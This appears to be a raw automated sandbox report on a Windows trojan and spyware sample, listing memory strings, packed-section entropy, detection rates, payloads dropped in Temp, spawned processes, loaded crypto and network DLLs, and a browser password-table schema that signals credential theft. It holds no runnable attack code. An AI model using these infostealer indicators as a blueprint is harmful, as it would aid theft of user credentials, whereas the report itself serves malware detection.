Source: FBVmDbz2nb.exe, 00000000.00000003.1643815636.0000000005E84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602330579.0000000005F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1617875570.0000000006511000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602172114.00000000060AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605524410.0000000006432000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1617142369.0000000006505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1619524716.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1629126314.000000000642D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605230641.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620609539.000000000640D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1622124995.0000000006421000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607374964.00000000062DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1618145224.00000000062D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1611511970.00000000062DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604233194.0000000006370000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602639157.0000000006142000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609359909.0000000006480000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1644145767.0000000005EC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601933387.0000000005F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1623597401.0000000006420000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1613140741.00000000063C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608230006.00000000062D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1619696696.00000000063FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616756552.00000000062D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1613300851.00000000062DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1612441146.00000000062E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602330579.0000000005FCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607909341.0000000006475000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620253096.000000000651D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1613658630.00000000064C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604124224.00000000062D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604726101.000000000637E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1624062806.000000000656C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1614374796.00000000063CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1610635882.00000000062DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616008793.00000000064E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1629429037.00000000062D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1614858575.00000000064D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620960513.0000000006406000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1615662747.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1612043413.00000000064AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607770231.00000000063A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609973522.00000000063A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609075001.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1619879375.00000000062DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1636734449.00000000062E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1603519571.00000000062E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1619023670.00000000062DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1629924131.0000000006432000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605390495.0000000006383000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1613870572.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1618659933.0000000006507000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1617478465.00000000062D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601568133.000000000602A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616415558.00000000063DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602330579.000000000604B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1643699874.0000000005EE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601775872.0000000006096000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1611794571.00000000063C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1606275253.00000000062E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605664520.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609834275.00000000062D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1621326309.00000000062DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1622852308.0000000006421000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609497078.00000000062E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1615488970.00000000063DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602172114.0000000006037000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1615837488.00000000063DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604850518.00000000062D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1619280098.00000000063F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601933387.0000000005FC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1603358408.000000000613D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608429499.00000000063A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1602543549.000000000604B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601775872.000000000602A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1603894122.0000000006138000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1605902216.000000000638C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1631016913.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1609213811.00000000063A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1620046338.00000000063F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1617679212.00000000063F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601568133.0000000005F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1628836652.00000000062DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1606497909.0000000006392000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608692407.00000000062D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1606683446.00000000062DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607631534.00000000062D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608559716.0000000006470000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1621853577.00000000062E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601568133.0000000005FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1615304722.00000000062DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1608963839.0000000006471000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604475004.0000000006137000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607495491.00000000063A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1604600707.00000000062E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1601933387.0000000006037000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1612967894.00000000062E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1607072269.0000000006389000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1613461628.00000000063CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1616214720.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1621614003.000000000641F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe
Source: FBVmDbz2nb.exe, 00000000.00000003.1618352816.00000000063E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs FBVmDbz2nb.exe

Source: FBVmDbz2nb.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: FBVmDbz2nb.exe	Static PE information: Section: ZLIB complexity 0.997418129280822
Source: FBVmDbz2nb.exe	Static PE information: Section: truimtqs ZLIB complexity 0.9947763063369631

Source: FBVmDbz2nb.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: RBZFTNPOH3OCI4WNHGK52I3.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\225E7CNEQKY05J8BSS2KINA.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

File created: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Jump to behavior

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: FBVmDbz2nb.exe, 00000000.00000003.1418442668.0000000005E3B000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417596375.0000000005E57000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1443916575.0000000005ED1000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1443415208.0000000005E47000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: FBVmDbz2nb.exe	Virustotal: Detection: 53%
Source: FBVmDbz2nb.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe

File read: C:\Users\user\Desktop\FBVmDbz2nb.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\FBVmDbz2nb.exe "C:\Users\user\Desktop\FBVmDbz2nb.exe"
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Process created: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe "C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe"
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Process created: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe "C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe"
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Process created: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe "C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe"	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Process created: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe "C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe"	Jump to behavior

Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Section loaded: apphelp.dll	Jump to behavior
